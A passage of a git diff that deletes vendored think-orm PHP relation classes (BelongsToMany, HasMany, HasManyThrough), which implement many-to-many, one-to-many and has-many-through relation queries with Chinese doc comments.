执行基础查询(仅执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - { - if (empty($this->baseQuery)) { - if (isset($this->parent->{$this->foreignKey})) { - // 关联查询带入关联条件 - $this->query->where($this->localKey, '=', $this->parent->{$this->foreignKey}); - } - - $this->baseQuery = true; - } - } -} diff --git a/vendor/topthink/think-orm/src/model/relation/BelongsToMany.php b/vendor/topthink/think-orm/src/model/relation/BelongsToMany.php deleted file mode 100644 index 6b64d95..0000000 --- a/vendor/topthink/think-orm/src/model/relation/BelongsToMany.php +++ /dev/null @@ -1,684 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\model\relation; - -use Closure; -use think\Collection; -use think\db\BaseQuery as Query; -use think\db\exception\DbException as Exception; -use think\db\Raw; -use think\Model; -use think\model\Pivot; -use think\model\Relation; -use think\Paginator; - -/** - * 多对多关联类 - */ -class BelongsToMany extends Relation -{ - /** - * 中间表表名 - * @var string - */ - protected $middle; - - /** - * 中间表模型名称 - * @var string - */ - protected $pivotName; - - /** - * 中间表模型对象 - * @var Pivot - */ - protected $pivot; - - /** - * 中间表数据名称 - * @var string - */ - protected $pivotDataName = 'pivot'; - - /** - * 架构函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $model 模型名 - * @param string $middle 中间表/模型名 - * @param string $foreignKey 关联模型外键 - * @param string $localKey 当前模型关联键 - */ - public function __construct(Model $parent, string $model, string $middle, string $foreignKey, string $localKey) - { - $this->parent = $parent; - $this->model = $model; - $this->foreignKey = $foreignKey; - $this->localKey = $localKey; - - if (false !== strpos($middle, '\\')) { - $this->pivotName = $middle; - $this->middle = class_basename($middle); - } else { - $this->middle = $middle; - } - - $this->query = (new $model)->db(); - $this->pivot = $this->newPivot(); - } - - /** - * 设置中间表模型 - * @access public - * @param $pivot - * @return $this - */ - public function pivot(string $pivot) - { - $this->pivotName = $pivot; - return $this; - } - - /** - * 设置中间表数据名称 - * @access public - * @param string $name - * @return $this - */ - public function name(string $name) - { - $this->pivotDataName = $name; - return $this; - } - - /** - * 实例化中间表模型 - * @access public - * @param $data - * @return Pivot - * @throws Exception - */ - protected function newPivot(array $data = []): Pivot - { - $class = $this->pivotName ?: Pivot::class; - $pivot = new $class($data, $this->parent, $this->middle); - - if ($pivot instanceof Pivot) { - return $pivot; - } else { - throw new Exception('pivot model must extends: \think\model\Pivot'); - } - } - - /** - * 合成中间表模型 - * @access protected - * @param array|Collection|Paginator $models - */ - protected function hydratePivot(iterable $models) - { - foreach ($models as $model) { - $pivot = []; - - foreach ($model->getData() as $key => $val) { - if (strpos($key, '__')) { - [$name, $attr] = explode('__', $key, 2); - - if ('pivot' == $name) { - $pivot[$attr] = $val; - unset($model->$key); - } - } - } - - $model->setRelation($this->pivotDataName, $this->newPivot($pivot)); - } - } - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Collection - */ - public function getRelation(array $subRelation = [], Closure $closure = null): Collection - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - $result = $this->relation($subRelation) - ->select() - ->setParent(clone $this->parent); - - $this->hydratePivot($result); - - return $result; - } - - /** - * 重载select方法 - * @access public - * @param mixed $data - * @return Collection - */ - public function select($data = null): Collection - { - $this->baseQuery(); - $result = $this->query->select($data); - $this->hydratePivot($result); - - return $result; - } - - /** - * 重载paginate方法 - * @access public - * @param int|array $listRows - * @param int|bool $simple - * @return Paginator - */ - public function paginate($listRows = null, $simple = false): Paginator - { - $this->baseQuery(); - $result = $this->query->paginate($listRows, $simple); - $this->hydratePivot($result); - - return $result; - } - - /** - * 重载find方法 - * @access public - * @param mixed $data - * @return Model - */ - public function find($data = null) - { - $this->baseQuery(); - $result = $this->query->find($data); - - if ($result && !$result->isEmpty()) { - $this->hydratePivot([$result]); - } - - return $result; - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Model - */ - public function has(string $operator = '>=', $count = 1, $id = '*', string $joinType = 'INNER', Query $query = null) - { - return $this->parent; - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - * @throws Exception - */ - public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null) - { - throw new Exception('relation not support: hasWhere'); - } - - /** - * 设置中间表的查询条件 - * @access public - * @param string $field - * @param string $op - * @param mixed $condition - * @return $this - */ - public function wherePivot($field, $op = null, $condition = null) - { - $this->query->where('pivot.' . $field, $op, $condition); - return $this; - } - - /** - * 预载入关联查询(数据集) - * @access public - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $pk = $resultSet[0]->getPk(); - $range = []; - - foreach ($resultSet as $result) { - // 获取关联外键列表 - if (isset($result->$pk)) { - $range[] = $result->$pk; - } - } - - if (!empty($range)) { - // 查询关联数据 - $data = $this->eagerlyManyToMany([ - ['pivot.' . $localKey, 'in', $range], - ], $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - if (!isset($data[$result->$pk])) { - $data[$result->$pk] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$result->$pk], clone $this->parent)); - } - } - } - - /** - * 预载入关联查询(单个数据) - * @access public - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void - { - $pk = $result->getPk(); - - if (isset($result->$pk)) { - $pk = $result->$pk; - // 查询管理数据 - $data = $this->eagerlyManyToMany([ - ['pivot.' . $this->localKey, '=', $pk], - ], $subRelation, $closure, $cache); - - // 关联数据封装 - if (!isset($data[$pk])) { - $data[$pk] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); - } - } - - /** - * 关联统计 - * @access public - * @param Model $result 数据对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return integer - */ - public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): float - { - $pk = $result->getPk(); - - if (!isset($result->$pk)) { - return 0; - } - - $pk = $result->$pk; - - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->belongsToManyQuery($this->foreignKey, $this->localKey, [ - ['pivot.' . $this->localKey, '=', $pk], - ])->$aggregate($field); - } - - /** - * 获取关联统计子查询 - * @access public - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return string - */ - public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string - { - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->belongsToManyQuery($this->foreignKey, $this->localKey, [ - [ - 'pivot.' . $this->localKey, 'exp', new Raw('=' . $this->parent->db(false)->getTable() . '.' . $this->parent->getPk()), - ], - ])->fetchSql()->$aggregate($field); - } - - /** - * 多对多 关联模型预查询 - * @access protected - * @param array $where 关联预查询条件 - * @param array $subRelation 子关联 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return array - */ - protected function eagerlyManyToMany(array $where, array $subRelation = [], Closure $closure = null, array $cache = []): array - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - // 预载入关联查询 支持嵌套预载入 - $list = $this->belongsToManyQuery($this->foreignKey, $this->localKey, $where) - ->with($subRelation) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->select(); - - // 组装模型数据 - $data = []; - foreach ($list as $set) { - $pivot = []; - foreach ($set->getData() as $key => $val) { - if (strpos($key, '__')) { - [$name, $attr] = explode('__', $key, 2); - if ('pivot' == $name) { - $pivot[$attr] = $val; - unset($set->$key); - } - } - } - $key = $pivot[$this->localKey]; - - if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { - continue; - } - - $set->setRelation($this->pivotDataName, $this->newPivot($pivot)); - - $data[$key][] = $set; - } - - return $data; - } - - /** - * BELONGS TO MANY 关联查询 - * @access protected - * @param string $foreignKey 关联模型关联键 - * @param string $localKey 当前模型关联键 - * @param array $condition 关联查询条件 - * @return Query - */ - protected function belongsToManyQuery(string $foreignKey, string $localKey, array $condition = []): Query - { - // 关联查询封装 - if (empty($this->baseQuery)) { - $tableName = $this->query->getTable(); - $table = $this->pivot->db()->getTable(); - $fields = $this->getQueryFields($tableName); - - if ($this->withLimit) { - $this->query->limit($this->withLimit); - } - - $this->query - ->field($fields) - ->tableField(true, $table, 'pivot', 'pivot__') - ->join([$table => 'pivot'], 'pivot.' . $foreignKey . '=' . $tableName . '.' . $this->query->getPk()) - ->where($condition); - - } - - return $this->query; - } - - /** - * 保存(新增)当前关联数据对象 - * @access public - * @param mixed $data 数据 可以使用数组 关联模型对象 和 关联对象的主键 - * @param array $pivot 中间表额外数据 - * @return array|Pivot - */ - public function save($data, array $pivot = []) - { - // 保存关联表/中间表数据 - return $this->attach($data, $pivot); - } - - /** - * 批量保存当前关联数据对象 - * @access public - * @param iterable $dataSet 数据集 - * @param array $pivot 中间表额外数据 - * @param bool $samePivot 额外数据是否相同 - * @return array|false - */ - public function saveAll(iterable $dataSet, array $pivot = [], bool $samePivot = false) - { - $result = []; - - foreach ($dataSet as $key => $data) { - if (!$samePivot) { - $pivotData = $pivot[$key] ?? []; - } else { - $pivotData = $pivot; - } - - $result[] = $this->attach($data, $pivotData); - } - - return empty($result) ? false : $result; - } - - /** - * 附加关联的一个中间表数据 - * @access public - * @param mixed $data 数据 可以使用数组、关联模型对象 或者 关联对象的主键 - * @param array $pivot 中间表额外数据 - * @return array|Pivot - * @throws Exception - */ - public function attach($data, array $pivot = []) - { - if (is_array($data)) { - if (key($data) === 0) { - $id = $data; - } else { - // 保存关联表数据 - $model = new $this->model; - $id = $model->insertGetId($data); - } - } elseif (is_numeric($data) || is_string($data)) { - // 根据关联表主键直接写入中间表 - $id = $data; - } elseif ($data instanceof Model) { - // 根据关联表主键直接写入中间表 - $id = $data->getKey(); - } - - if (!empty($id)) { - // 保存中间表数据 - $pivot[$this->localKey] = $this->parent->getKey(); - - $ids = (array) $id; - foreach ($ids as $id) { - $pivot[$this->foreignKey] = $id; - $this->pivot->replace() - ->exists(false) - ->data([]) - ->save($pivot); - $result[] = $this->newPivot($pivot); - } - - if (count($result) == 1) { - // 返回中间表模型对象 - $result = $result[0]; - } - - return $result; - } else { - throw new Exception('miss relation data'); - } - } - - /** - * 判断是否存在关联数据 - * @access public - * @param mixed $data 数据 可以使用关联模型对象 或者 关联对象的主键 - * @return Pivot|false - */ - public function attached($data) - { - if ($data instanceof Model) { - $id = $data->getKey(); - } else { - $id = $data; - } - - $pivot = $this->pivot - ->where($this->localKey, $this->parent->getKey()) - ->where($this->foreignKey, $id) - ->find(); - - return $pivot ?: false; - } - - /** - * 解除关联的一个中间表数据 - * @access public - * @param integer|array $data 数据 可以使用关联对象的主键 - * @param bool $relationDel 是否同时删除关联表数据 - * @return integer - */ - public function detach($data = null, bool $relationDel = false): int - { - if (is_array($data)) { - $id = $data; - } elseif (is_numeric($data) || is_string($data)) { - // 根据关联表主键直接写入中间表 - $id = $data; - } elseif ($data instanceof Model) { - // 根据关联表主键直接写入中间表 - $id = $data->getKey(); - } - - // 删除中间表数据 - $pivot = []; - $pivot[] = [$this->localKey, '=', $this->parent->getKey()]; - - if (isset($id)) { - $pivot[] = [$this->foreignKey, is_array($id) ? 'in' : '=', $id]; - } - - $result = $this->pivot->where($pivot)->delete(); - - // 删除关联表数据 - if (isset($id) && $relationDel) { - $model = $this->model; - $model::destroy($id); - } - - return $result; - } - - /** - * 数据同步 - * @access public - * @param array $ids - * @param bool $detaching - * @return array - */ - public function sync(array $ids, bool $detaching = true): array - { - $changes = [ - 'attached' => [], - 'detached' => [], - 'updated' => [], - ]; - - $current = $this->pivot - ->where($this->localKey, $this->parent->getKey()) - ->column($this->foreignKey); - - $records = []; - - foreach ($ids as $key => $value) { - if (!is_array($value)) { - $records[$value] = []; - } else { - $records[$key] = $value; - } - } - - $detach = array_diff($current, array_keys($records)); - - if ($detaching && count($detach) > 0) { - $this->detach($detach); - $changes['detached'] = $detach; - } - - foreach ($records as $id => $attributes) { - if (!in_array($id, $current)) { - $this->attach($id, $attributes); - $changes['attached'][] = $id; - } elseif (count($attributes) > 0 && $this->attach($id, $attributes)) { - $changes['updated'][] = $id; - } - } - - return $changes; - } - - /** - * 执行基础查询(仅执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - { - if (empty($this->baseQuery)) { - $foreignKey = $this->foreignKey; - $localKey = $this->localKey; - - // 关联查询 - if (null === $this->parent->getKey()) { - $condition = ['pivot.' . $localKey, 'exp', new Raw('=' . $this->parent->getTable() . '.' . $this->parent->getPk())]; - } else { - $condition = ['pivot.' . $localKey, '=', $this->parent->getKey()]; - } - - $this->belongsToManyQuery($foreignKey, $localKey, [$condition]); - - $this->baseQuery = true; - } - } - -} diff --git a/vendor/topthink/think-orm/src/model/relation/HasMany.php b/vendor/topthink/think-orm/src/model/relation/HasMany.php deleted file mode 100644 index a67d41b..0000000 --- a/vendor/topthink/think-orm/src/model/relation/HasMany.php +++ /dev/null @@ -1,367 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\model\relation; - -use Closure; -use think\Collection; -use think\db\BaseQuery as Query; -use think\helper\Str; -use think\Model; -use think\model\Relation; - -/** - * 一对多关联类 - */ -class HasMany extends Relation -{ - /** - * 架构函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $model 模型名 - * @param string $foreignKey 关联外键 - * @param string $localKey 当前模型主键 - */ - public function __construct(Model $parent, string $model, string $foreignKey, string $localKey) - { - $this->parent = $parent; - $this->model = $model; - $this->foreignKey = $foreignKey; - $this->localKey = $localKey; - $this->query = (new $model)->db(); - - if (get_class($parent) == $model) { - $this->selfRelation = true; - } - } - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Collection - */ - public function getRelation(array $subRelation = [], Closure $closure = null): Collection - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - if ($this->withLimit) { - $this->query->limit($this->withLimit); - } - - return $this->query - ->where($this->foreignKey, $this->parent->{$this->localKey}) - ->relation($subRelation) - ->select() - ->setParent(clone $this->parent); - } - - /** - * 预载入关联查询 - * @access public - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation, Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $range = []; - - foreach ($resultSet as $result) { - // 获取关联外键列表 - if (isset($result->$localKey)) { - $range[] = $result->$localKey; - } - } - - if (!empty($range)) { - $data = $this->eagerlyOneToMany([ - [$this->foreignKey, 'in', $range], - ], $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - $pk = $result->$localKey; - if (!isset($data[$pk])) { - $data[$pk] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); - } - } - } - - /** - * 预载入关联查询 - * @access public - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - - if (isset($result->$localKey)) { - $pk = $result->$localKey; - $data = $this->eagerlyOneToMany([ - [$this->foreignKey, '=', $pk], - ], $subRelation, $closure, $cache); - - // 关联数据封装 - if (!isset($data[$pk])) { - $data[$pk] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); - } - } - - /** - * 关联统计 - * @access public - * @param Model $result 数据对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return integer - */ - public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) - { - $localKey = $this->localKey; - - if (!isset($result->$localKey)) { - return 0; - } - - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->query - ->where($this->foreignKey, '=', $result->$localKey) - ->$aggregate($field); - } - - /** - * 创建关联统计子查询 - * @access public - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return string - */ - public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string - { - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - return $this->query->alias($aggregate . '_table') - ->whereExp($aggregate . '_table.' . $this->foreignKey, '=' . $this->parent->getTable() . '.' . $this->localKey) - ->fetchSql() - ->$aggregate($field); - } - - /** - * 一对多 关联模型预查询 - * @access public - * @param array $where 关联预查询条件 - * @param array $subRelation 子关联 - * @param Closure $closure - * @param array $cache 关联缓存 - * @return array - */ - protected function eagerlyOneToMany(array $where, array $subRelation = [], Closure $closure = null, array $cache = []): array - { - $foreignKey = $this->foreignKey; - - $this->query->removeWhereField($this->foreignKey); - - // 预载入关联查询 支持嵌套预载入 - if ($closure) { - $this->baseQuery = true; - $closure($this->getClosureType($closure)); - } - - $list = $this->query - ->where($where) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->with($subRelation) - ->select(); - - // 组装模型数据 - $data = []; - - foreach ($list as $set) { - $key = $set->$foreignKey; - - if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { - continue; - } - - $data[$key][] = $set; - } - - return $data; - } - - /** - * 保存(新增)当前关联数据对象 - * @access public - * @param mixed $data 数据 可以使用数组 关联模型对象 - * @param boolean $replace 是否自动识别更新和写入 - * @return Model|false - */ - public function save($data, bool $replace = true) - { - $model = $this->make(); - - return $model->replace($replace)->save($data) ? $model : false; - } - - /** - * 创建关联对象实例 - * @param array|Model $data - * @return Model - */ - public function make($data = []): Model - { - if ($data instanceof Model) { - $data = $data->getData(); - } - - // 保存关联表数据 - $data[$this->foreignKey] = $this->parent->{$this->localKey}; - - return new $this->model($data); - } - - /** - * 批量保存当前关联数据对象 - * @access public - * @param iterable $dataSet 数据集 - * @param boolean $replace 是否自动识别更新和写入 - * @return array|false - */ - public function saveAll(iterable $dataSet, bool $replace = true) - { - $result = []; - - foreach ($dataSet as $key => $data) { - $result[] = $this->save($data, $replace); - } - - return empty($result) ? false : $result; - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = 'INNER', Query $query = null): Query - { - $table = $this->query->getTable(); - - $model = class_basename($this->parent); - $relation = class_basename($this->model); - - if ('*' != $id) { - $id = $relation . '.' . (new $this->model)->getPk(); - } - - $softDelete = $this->query->getOptions('soft_delete'); - $query = $query ?: $this->parent->db()->alias($model); - - return $query->field($model . '.*') - ->join([$table => $relation], $model . '.' . $this->localKey . '=' . $relation . '.' . $this->foreignKey, $joinType) - ->when($softDelete, function ($query) use ($softDelete, $relation) { - $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); - }) - ->group($relation . '.' . $this->foreignKey) - ->having('count(' . $id . ')' . $operator . $count); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function hasWhere($where = [], $fields = null, string $joinType = '', Query $query = null): Query - { - $table = $this->query->getTable(); - $model = class_basename($this->parent); - $relation = class_basename($this->model); - - if (is_array($where)) { - $this->getQueryWhere($where, $relation); - } elseif ($where instanceof Query) { - $where->via($relation); - } elseif ($where instanceof Closure) { - $where($this->query->via($relation)); - $where = $this->query; - } - - $fields = $this->getRelationQueryFields($fields, $model); - $softDelete = $this->query->getOptions('soft_delete'); - $query = $query ?: $this->parent->db()->alias($model); - - return $query->group($model . '.' . $this->localKey) - ->field($fields) - ->join([$table => $relation], $model . '.' . $this->localKey . '=' . $relation . '.' . $this->foreignKey, $joinType) - ->when($softDelete, function ($query) use ($softDelete, $relation) { - $query->where($relation . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); - }) - ->where($where); - } - - /** - * 执行基础查询(仅执行一次) - * @access protected - * @return void - */ - protected function baseQuery(): void - { - if (empty($this->baseQuery)) { - if (isset($this->parent->{$this->localKey})) { - // 关联查询带入关联条件 - $this->query->where($this->foreignKey, '=', $this->parent->{$this->localKey}); - } - - $this->baseQuery = true; - } - } - -} diff --git a/vendor/topthink/think-orm/src/model/relation/HasManyThrough.php b/vendor/topthink/think-orm/src/model/relation/HasManyThrough.php deleted file mode 100644 index 30d5ca4..0000000 --- a/vendor/topthink/think-orm/src/model/relation/HasManyThrough.php +++ /dev/null @@ -1,382 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\model\relation; - -use Closure; -use think\Collection; -use think\db\BaseQuery as Query; -use think\helper\Str; -use think\Model; -use think\model\Relation; - -/** - * 远程一对多关联类 - */ -class HasManyThrough extends Relation -{ - /** - * 中间关联表外键 - * @var string - */ - protected $throughKey; - - /** - * 中间主键 - * @var string - */ - protected $throughPk; - - /** - * 中间表查询对象 - * @var Query - */ - protected $through; - - /** - * 架构函数 - * @access public - * @param Model $parent 上级模型对象 - * @param string $model 关联模型名 - * @param string $through 中间模型名 - * @param string $foreignKey 关联外键 - * @param string $throughKey 中间关联外键 - * @param string $localKey 当前模型主键 - * @param string $throughPk 中间模型主键 - */ - public function __construct(Model $parent, string $model, string $through, string $foreignKey, string $throughKey, string $localKey, string $throughPk) - { - $this->parent = $parent; - $this->model = $model; - $this->through = (new $through)->db(); - $this->foreignKey = $foreignKey; - $this->throughKey = $throughKey; - $this->localKey = $localKey; - $this->throughPk = $throughPk; - $this->query = (new $model)->db(); - } - - /** - * 延迟获取关联数据 - * @access public - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包查询条件 - * @return Collection - */ - public function getRelation(array $subRelation = [], Closure $closure = null) - { - if ($closure) { - $closure($this->getClosureType($closure)); - } - - $this->baseQuery(); - - if ($this->withLimit) { - $this->query->limit($this->withLimit); - } - - return $this->query->relation($subRelation) - ->select() - ->setParent(clone $this->parent); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param string $operator 比较操作符 - * @param integer $count 个数 - * @param string $id 关联表的统计字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function has(string $operator = '>=', int $count = 1, string $id = '*', string $joinType = '', Query $query = null): Query - { - $model = Str::snake(class_basename($this->parent)); - $throughTable = $this->through->getTable(); - $pk = $this->throughPk; - $throughKey = $this->throughKey; - $relation = new $this->model; - $relationTable = $relation->getTable(); - $softDelete = $this->query->getOptions('soft_delete'); - - if ('*' != $id) { - $id = $relationTable . '.' . $relation->getPk(); - } - $query = $query ?: $this->parent->db()->alias($model); - - return $query->field($model . '.*') - ->join($throughTable, $throughTable . '.' . $this->foreignKey . '=' . $model . '.' . $this->localKey) - ->join($relationTable, $relationTable . '.' . $throughKey . '=' . $throughTable . '.' . $this->throughPk) - ->when($softDelete, function ($query) use ($softDelete, $relationTable) { - $query->where($relationTable . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); - }) - ->group($relationTable . '.' . $this->throughKey) - ->having('count(' . $id . ')' . $operator . $count); - } - - /** - * 根据关联条件查询当前模型 - * @access public - * @param mixed $where 查询条件(数组或者闭包) - * @param mixed $fields 字段 - * @param string $joinType JOIN类型 - * @param Query $query Query对象 - * @return Query - */ - public function hasWhere($where = [], $fields = null, $joinType = '', Query $query = null): Query - { - $model = Str::snake(class_basename($this->parent)); - $throughTable = $this->through->getTable(); - $pk = $this->throughPk; - $throughKey = $this->throughKey; - $modelTable = (new $this->model)->getTable(); - - if (is_array($where)) { - $this->getQueryWhere($where, $modelTable); - } elseif ($where instanceof Query) { - $where->via($modelTable); - } elseif ($where instanceof Closure) { - $where($this->query->via($modelTable)); - $where = $this->query; - } - - $fields = $this->getRelationQueryFields($fields, $model); - $softDelete = $this->query->getOptions('soft_delete'); - $query = $query ?: $this->parent->db()->alias($model); - - return $query->join($throughTable, $throughTable . '.' . $this->foreignKey . '=' . $model . '.' . $this->localKey) - ->join($modelTable, $modelTable . '.' . $throughKey . '=' . $throughTable . '.' . $this->throughPk, $joinType) - ->when($softDelete, function ($query) use ($softDelete, $modelTable) { - $query->where($modelTable . strstr($softDelete[0], '.'), '=' == $softDelete[1][0] ? $softDelete[1][1] : null); - }) - ->group($modelTable . '.' . $this->throughKey) - ->where($where) - ->field($fields); - } - - /** - * 预载入关联查询(数据集) - * @access protected - * @param array $resultSet 数据集 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResultSet(array &$resultSet, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - - $range = []; - foreach ($resultSet as $result) { - // 获取关联外键列表 - if (isset($result->$localKey)) { - $range[] = $result->$localKey; - } - } - - if (!empty($range)) { - $this->query->removeWhereField($foreignKey); - - $data = $this->eagerlyWhere([ - [$this->foreignKey, 'in', $range], - ], $foreignKey, $subRelation, $closure, $cache); - - // 关联数据封装 - foreach ($resultSet as $result) { - $pk = $result->$localKey; - if (!isset($data[$pk])) { - $data[$pk] = []; - } - - // 设置关联属性 - $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); - } - } - } - - /** - * 预载入关联查询(数据) - * @access protected - * @param Model $result 数据对象 - * @param string $relation 当前关联名 - * @param array $subRelation 子关联名 - * @param Closure $closure 闭包 - * @param array $cache 关联缓存 - * @return void - */ - public function eagerlyResult(Model $result, string $relation, array $subRelation = [], Closure $closure = null, array $cache = []): void - { - $localKey = $this->localKey; - $foreignKey = $this->foreignKey; - $pk = $result->$localKey; - - $this->query->removeWhereField($foreignKey); - - $data = $this->eagerlyWhere([ - [$foreignKey, '=', $pk], - ], $foreignKey, $subRelation, $closure, $cache); - - // 关联数据封装 - if (!isset($data[$pk])) { - $data[$pk] = []; - } - - $result->setRelation($relation, $this->resultSetBuild($data[$pk], clone $this->parent)); - } - - /** - * 关联模型预查询 - * @access public - * @param array $where 关联预查询条件 - * @param string $key 关联键名 - * @param array $subRelation 子关联 - * @param Closure $closure - * @param array $cache 关联缓存 - * @return array - */ - protected function eagerlyWhere(array $where, string $key, array $subRelation = [], Closure $closure = null, array $cache = []): array - { - // 预载入关联查询 支持嵌套预载入 - $throughList = $this->through->where($where)->select(); - $keys = $throughList->column($this->throughPk, $this->throughPk); - - if ($closure) { - $this->baseQuery = true; - $closure($this->getClosureType($closure)); - } - - $list = $this->query - ->where($this->throughKey, 'in', $keys) - ->cache($cache[0] ?? false, $cache[1] ?? null, $cache[2] ?? null) - ->select(); - - // 组装模型数据 - $data = []; - $keys = $throughList->column($this->foreignKey, $this->throughPk); - - foreach ($list as $set) { - $key = $keys[$set->{$this->throughKey}]; - - if ($this->withLimit && isset($data[$key]) && count($data[$key]) >= $this->withLimit) { - continue; - } - - $data[$key][] = $set; - } - - return $data; - } - - /** - * 关联统计 - * @access public - * @param Model $result 数据对象 - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return mixed - */ - public function relationCount(Model $result, Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null) - { - $localKey = $this->localKey; - - if (!isset($result->$localKey)) { - return 0; - } - - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - $alias = Str::snake(class_basename($this->model)); - $throughTable = $this->through->getTable(); - $pk = $this->throughPk; - $throughKey = $this->throughKey; - $modelTable = $this->parent->getTable(); - - if (false === strpos($field, '.')) { - $field = $alias . '.' . $field; - } - - return $this->query - ->alias($alias) - ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey) - ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey) - ->where($throughTable . '.' . $this->foreignKey, $result->$localKey) - ->$aggregate($field); - } - - /** - * 创建关联统计子查询 - * @access public - * @param Closure $closure 闭包 - * @param string $aggregate 聚合查询方法 - * @param string $field 字段 - * @param string $name 统计字段别名 - * @return string - */ - public function getRelationCountQuery(Closure $closure = null, string $aggregate = 'count', string $field = '*', string &$name = null): string - { - if ($closure) { - $closure($this->getClosureType($closure), $name); - } - - $alias = Str::snake(class_basename($this->model)); - $throughTable = $this->through->getTable(); - $pk = $this->throughPk; - $throughKey = $this->throughKey; - $modelTable = $this->parent->getTable(); - - if (false === strpos($field, '.')) { - $field = $alias . '.' . $field; - } - - return $this->query - ->alias($alias) - ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey) - ->join($modelTable, $modelTable . '.' . 